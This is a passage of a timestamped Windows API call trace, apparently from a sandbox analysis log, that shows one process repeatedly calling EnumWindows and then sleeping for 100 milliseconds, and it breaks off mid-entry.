[0302.000] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.000] Sleep (dwMilliseconds=0x64) [0302.001] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.002] Sleep (dwMilliseconds=0x64) [0302.003] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.004] Sleep (dwMilliseconds=0x64) [0302.006] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.006] Sleep (dwMilliseconds=0x64) [0302.091] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.091] Sleep (dwMilliseconds=0x64) [0302.114] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.115] Sleep (dwMilliseconds=0x64) [0302.116] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.117] Sleep (dwMilliseconds=0x64) [0302.118] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.119] Sleep (dwMilliseconds=0x64) [0302.120] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.121] Sleep (dwMilliseconds=0x64) [0302.122] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.122] Sleep (dwMilliseconds=0x64) [0302.123] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.124] Sleep (dwMilliseconds=0x64) [0302.125] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.125] Sleep (dwMilliseconds=0x64) [0302.126] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.127] Sleep (dwMilliseconds=0x64) [0302.128] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.128] Sleep (dwMilliseconds=0x64) [0302.129] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.130] Sleep (dwMilliseconds=0x64) [0302.131] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.132] Sleep (dwMilliseconds=0x64) [0302.133] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.133] Sleep (dwMilliseconds=0x64) [0302.134] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.135] Sleep (dwMilliseconds=0x64) [0302.137] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.139] Sleep (dwMilliseconds=0x64) [0302.141] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.141] Sleep (dwMilliseconds=0x64) [0302.143] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.143] Sleep (dwMilliseconds=0x64) [0302.265] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.265] Sleep (dwMilliseconds=0x64) [0302.386] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.386] Sleep (dwMilliseconds=0x64) [0302.388] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.388] Sleep (dwMilliseconds=0x64) [0302.390] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.390] Sleep (dwMilliseconds=0x64) [0302.400] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.400] Sleep (dwMilliseconds=0x64) [0302.413] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.413] Sleep (dwMilliseconds=0x64) [0302.422] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.422] Sleep (dwMilliseconds=0x64) [0302.474] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.474] Sleep (dwMilliseconds=0x64) [0302.484] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.484] Sleep (dwMilliseconds=0x64) [0302.544] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.544] Sleep (dwMilliseconds=0x64) [0302.546] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.546] Sleep (dwMilliseconds=0x64) [0302.548] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.548] Sleep (dwMilliseconds=0x64) [0302.549] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.550] Sleep (dwMilliseconds=0x64) [0302.551] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.551] Sleep (dwMilliseconds=0x64) [0302.552] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.553] Sleep (dwMilliseconds=0x64) [0302.556] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.557] Sleep (dwMilliseconds=0x64) [0302.560] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.561] Sleep (dwMilliseconds=0x64) [0302.564] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.566] Sleep (dwMilliseconds=0x64) [0302.569] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.570] Sleep (dwMilliseconds=0x64) [0302.579] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.580] Sleep (dwMilliseconds=0x64) [0302.581] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.581] Sleep (dwMilliseconds=0x64) [0302.584] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.584] Sleep (dwMilliseconds=0x64) [0302.586] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.586] Sleep (dwMilliseconds=0x64) [0302.588] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.588] Sleep (dwMilliseconds=0x64) [0302.591] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.592] Sleep (dwMilliseconds=0x64) [0302.594] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.594] Sleep (dwMilliseconds=0x64) [0302.595] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.596] Sleep (dwMilliseconds=0x64) [0302.598] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.598] Sleep (dwMilliseconds=0x64) [0302.600] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.601] Sleep (dwMilliseconds=0x64) [0302.602] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.602] Sleep (dwMilliseconds=0x64) [0302.604] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.604] Sleep (dwMilliseconds=0x64) [0302.606] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.606] Sleep (dwMilliseconds=0x64) [0302.607] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.608] Sleep (dwMilliseconds=0x64) [0302.609] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.610] Sleep (dwMilliseconds=0x64) [0302.611] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.611] Sleep (dwMilliseconds=0x64) [0302.612] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.613] Sleep (dwMilliseconds=0x64) [0302.615] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.615] Sleep (dwMilliseconds=0x64) [0302.617] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.617] Sleep (dwMilliseconds=0x64) [0302.630] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.631] Sleep (dwMilliseconds=0x64) [0302.632] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.633] Sleep (dwMilliseconds=0x64) [0302.634] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.635] Sleep (dwMilliseconds=0x64) [0302.636] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.637] Sleep (dwMilliseconds=0x64) [0302.638] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.639] Sleep (dwMilliseconds=0x64) [0302.640] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.641] Sleep (dwMilliseconds=0x64) [0302.642] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.643] Sleep (dwMilliseconds=0x64) [0302.644] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.645] Sleep (dwMilliseconds=0x64) [0302.646] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.646] Sleep (dwMilliseconds=0x64) [0302.648] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.648] Sleep (dwMilliseconds=0x64) [0302.650] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.650] Sleep (dwMilliseconds=0x64) [0302.651] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.652] Sleep (dwMilliseconds=0x64) [0302.654] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.654] Sleep (dwMilliseconds=0x64) [0302.656] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.656] Sleep (dwMilliseconds=0x64) [0302.657] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.658] Sleep (dwMilliseconds=0x64) [0302.659] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.660] Sleep (dwMilliseconds=0x64) [0302.661] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.662] Sleep (dwMilliseconds=0x64) [0302.663] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.664] Sleep (dwMilliseconds=0x64) [0302.665] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.665] Sleep (dwMilliseconds=0x64) [0302.667] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.668] Sleep (dwMilliseconds=0x64) [0302.670] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.670] Sleep (dwMilliseconds=0x64) [0302.671] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.671] Sleep (dwMilliseconds=0x64) [0302.673] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.673] Sleep (dwMilliseconds=0x64) [0302.674] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.675] Sleep (dwMilliseconds=0x64) [0302.676] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.677] Sleep (dwMilliseconds=0x64) [0302.678] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.678] Sleep (dwMilliseconds=0x64) [0302.679] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.680] Sleep (dwMilliseconds=0x64) [0302.681] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.681] Sleep (dwMilliseconds=0x64) [0302.684] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.684] Sleep (dwMilliseconds=0x64) [0302.685] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.685] Sleep (dwMilliseconds=0x64) [0302.687] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.687] Sleep (dwMilliseconds=0x64) [0302.689] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.689] Sleep (dwMilliseconds=0x64) [0302.690] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.691] Sleep (dwMilliseconds=0x64) [0302.693] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.693] Sleep (dwMilliseconds=0x64) [0302.696] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.696] Sleep (dwMilliseconds=0x64) [0302.698] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.698] Sleep (dwMilliseconds=0x64) [0302.700] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.701] Sleep (dwMilliseconds=0x64) [0302.703] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.703] Sleep (dwMilliseconds=0x64) [0302.704] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.705] Sleep (dwMilliseconds=0x64) [0302.706] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.707] Sleep (dwMilliseconds=0x64) [0302.709] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.709] Sleep (dwMilliseconds=0x64) [0302.710] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.711] Sleep (dwMilliseconds=0x64) [0302.712] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.712] Sleep (dwMilliseconds=0x64) [0302.714] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.714] Sleep (dwMilliseconds=0x64) [0302.716] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.716] Sleep (dwMilliseconds=0x64) [0302.717] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.717] Sleep (dwMilliseconds=0x64) [0302.719] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.719] Sleep (dwMilliseconds=0x64) [0302.721] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.721] Sleep (dwMilliseconds=0x64) [0302.723] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.723] Sleep (dwMilliseconds=0x64) [0302.726] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.726] Sleep (dwMilliseconds=0x64) [0302.728] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.728] Sleep (dwMilliseconds=0x64) [0302.730] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.730] Sleep (dwMilliseconds=0x64) [0302.732] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.732] Sleep (dwMilliseconds=0x64) [0302.734] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.734] Sleep (dwMilliseconds=0x64) [0302.736] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.736] Sleep (dwMilliseconds=0x64) [0302.746] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.747] Sleep (dwMilliseconds=0x64) [0302.749] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.749] Sleep (dwMilliseconds=0x64) [0302.751] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.751] Sleep (dwMilliseconds=0x64) [0302.753] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.755] Sleep (dwMilliseconds=0x64) [0302.756] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.757] Sleep (dwMilliseconds=0x64) [0302.758] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.759] Sleep (dwMilliseconds=0x64) [0302.760] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.761] Sleep (dwMilliseconds=0x64) [0302.762] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.763] Sleep (dwMilliseconds=0x64) [0302.764] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.765] Sleep (dwMilliseconds=0x64) [0302.766] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.767] Sleep (dwMilliseconds=0x64) [0302.768] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.769] Sleep (dwMilliseconds=0x64) [0302.774] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.774] Sleep (dwMilliseconds=0x64) [0302.776] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.776] Sleep (dwMilliseconds=0x64) [0302.778] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.778] Sleep (dwMilliseconds=0x64) [0302.781] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.781] Sleep (dwMilliseconds=0x64) [0302.784] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.784] Sleep (dwMilliseconds=0x64) [0302.786] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.786] Sleep (dwMilliseconds=0x64) [0302.788] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.788] Sleep (dwMilliseconds=0x64) [0302.789] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.790] Sleep (dwMilliseconds=0x64) [0302.791] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.791] Sleep (dwMilliseconds=0x64) [0302.793] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.793] Sleep (dwMilliseconds=0x64) [0302.794] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.794] Sleep (dwMilliseconds=0x64) [0302.797] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.797] Sleep (dwMilliseconds=0x64) [0302.798] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.798] Sleep (dwMilliseconds=0x64) [0302.800] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.801] Sleep (dwMilliseconds=0x64) [0302.802] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.802] Sleep (dwMilliseconds=0x64) [0302.804] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.804] Sleep (dwMilliseconds=0x64) [0302.805] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.805] Sleep (dwMilliseconds=0x64) [0302.807] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.807] Sleep (dwMilliseconds=0x64) [0302.809] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.809] Sleep (dwMilliseconds=0x64) [0302.811] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.811] Sleep (dwMilliseconds=0x64) [0302.812] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.813] Sleep (dwMilliseconds=0x64) [0302.814] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.814] Sleep (dwMilliseconds=0x64) [0302.816] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.816] Sleep (dwMilliseconds=0x64) [0302.819] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.819] Sleep (dwMilliseconds=0x64) [0302.821] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.821] Sleep (dwMilliseconds=0x64) [0302.823] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.823] Sleep (dwMilliseconds=0x64) [0302.825] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.825] Sleep (dwMilliseconds=0x64) [0302.827] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.827] Sleep (dwMilliseconds=0x64) [0302.829] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.829] Sleep (dwMilliseconds=0x64) [0302.831] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.831] Sleep (dwMilliseconds=0x64) [0302.833] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.833] Sleep (dwMilliseconds=0x64) [0302.834] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.834] Sleep (dwMilliseconds=0x64) [0302.836] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.836] Sleep (dwMilliseconds=0x64) [0302.838] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.838] Sleep (dwMilliseconds=0x64) [0302.839] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.839] Sleep (dwMilliseconds=0x64) [0302.841] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.841] Sleep (dwMilliseconds=0x64) [0302.843] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.843] Sleep (dwMilliseconds=0x64) [0302.844] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.845] Sleep (dwMilliseconds=0x64) [0302.846] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.846] Sleep (dwMilliseconds=0x64) [0302.848] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.848] Sleep (dwMilliseconds=0x64) [0302.851] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.851] Sleep (dwMilliseconds=0x64) [0302.853] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.853] Sleep (dwMilliseconds=0x64) [0302.854] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.854] Sleep (dwMilliseconds=0x64) [0302.856] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.856] Sleep (dwMilliseconds=0x64) [0302.857] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.858] Sleep (dwMilliseconds=0x64) [0302.859] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.859] Sleep (dwMilliseconds=0x64) [0302.861] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.861] Sleep (dwMilliseconds=0x64) [0302.897] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.898] Sleep (dwMilliseconds=0x64) [0302.908] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.909] Sleep (dwMilliseconds=0x64) [0302.910] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.911] Sleep (dwMilliseconds=0x64) [0302.912] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.913] Sleep (dwMilliseconds=0x64) [0302.914] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.915] Sleep (dwMilliseconds=0x64) [0302.916] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.916] Sleep (dwMilliseconds=0x64) [0302.917] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.918] Sleep (dwMilliseconds=0x64) [0302.920] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.920] Sleep (dwMilliseconds=0x64) [0302.921] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.921] Sleep (dwMilliseconds=0x64) [0302.923] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.923] Sleep (dwMilliseconds=0x64) [0302.924] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.924] Sleep (dwMilliseconds=0x64) [0302.926] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.926] Sleep (dwMilliseconds=0x64) [0302.927] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.927] Sleep (dwMilliseconds=0x64) [0302.929] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.929] Sleep (dwMilliseconds=0x64) [0302.930] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.930] Sleep (dwMilliseconds=0x64) [0302.932] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.932] Sleep (dwMilliseconds=0x64) [0302.933] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.933] Sleep (dwMilliseconds=0x64) [0302.935] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.935] Sleep (dwMilliseconds=0x64) [0302.936] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.936] Sleep (dwMilliseconds=0x64) [0302.940] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.941] Sleep (dwMilliseconds=0x64) [0302.942] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.943] Sleep (dwMilliseconds=0x64) [0302.944] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.945] Sleep (dwMilliseconds=0x64) [0302.946] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.947] Sleep (dwMilliseconds=0x64) [0302.948] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.949] Sleep (dwMilliseconds=0x64) [0302.950] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.951] Sleep (dwMilliseconds=0x64) [0302.953] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.954] Sleep (dwMilliseconds=0x64) [0302.957] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.957] Sleep (dwMilliseconds=0x64) [0302.970] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.970] Sleep (dwMilliseconds=0x64) [0302.972] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.972] Sleep (dwMilliseconds=0x64) [0302.974] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.974] Sleep (dwMilliseconds=0x64) [0302.976] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.976] Sleep (dwMilliseconds=0x64) [0302.977] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.978] Sleep (dwMilliseconds=0x64) [0302.979] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.979] Sleep (dwMilliseconds=0x64) [0302.981] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.981] Sleep (dwMilliseconds=0x64) [0302.982] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.984] Sleep (dwMilliseconds=0x64) [0302.986] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.986] Sleep (dwMilliseconds=0x64) [0302.988] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.988] Sleep (dwMilliseconds=0x64) [0302.989] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.990] Sleep (dwMilliseconds=0x64) [0302.993] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.993] Sleep (dwMilliseconds=0x64) [0302.995] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.995] Sleep (dwMilliseconds=0x64) [0302.997] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.997] Sleep (dwMilliseconds=0x64) [0302.999] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0302.999] Sleep (dwMilliseconds=0x64) [0303.001] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.002] Sleep (dwMilliseconds=0x64) [0303.003] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.004] Sleep (dwMilliseconds=0x64) [0303.005] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.006] Sleep (dwMilliseconds=0x64) [0303.007] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.008] Sleep (dwMilliseconds=0x64) [0303.009] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.010] Sleep (dwMilliseconds=0x64) [0303.011] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.012] Sleep (dwMilliseconds=0x64) [0303.013] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.013] Sleep (dwMilliseconds=0x64) [0303.015] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.015] Sleep (dwMilliseconds=0x64) [0303.017] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.017] Sleep (dwMilliseconds=0x64) [0303.018] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.018] Sleep (dwMilliseconds=0x64) [0303.020] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.020] Sleep (dwMilliseconds=0x64) [0303.021] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.021] Sleep (dwMilliseconds=0x64) [0303.023] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.023] Sleep (dwMilliseconds=0x64) [0303.024] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.025] Sleep (dwMilliseconds=0x64) [0303.027] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.027] Sleep (dwMilliseconds=0x64) [0303.028] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.028] Sleep (dwMilliseconds=0x64) [0303.031] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.032] Sleep (dwMilliseconds=0x64) [0303.033] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.034] Sleep (dwMilliseconds=0x64) [0303.035] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.036] Sleep (dwMilliseconds=0x64) [0303.037] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.037] Sleep (dwMilliseconds=0x64) [0303.039] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.039] Sleep (dwMilliseconds=0x64) [0303.041] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.041] Sleep (dwMilliseconds=0x64) [0303.043] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.043] Sleep (dwMilliseconds=0x64) [0303.044] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.045] Sleep (dwMilliseconds=0x64) [0303.046] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.047] Sleep (dwMilliseconds=0x64) [0303.049] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.049] Sleep (dwMilliseconds=0x64) [0303.050] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.050] Sleep (dwMilliseconds=0x64) [0303.052] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.052] Sleep 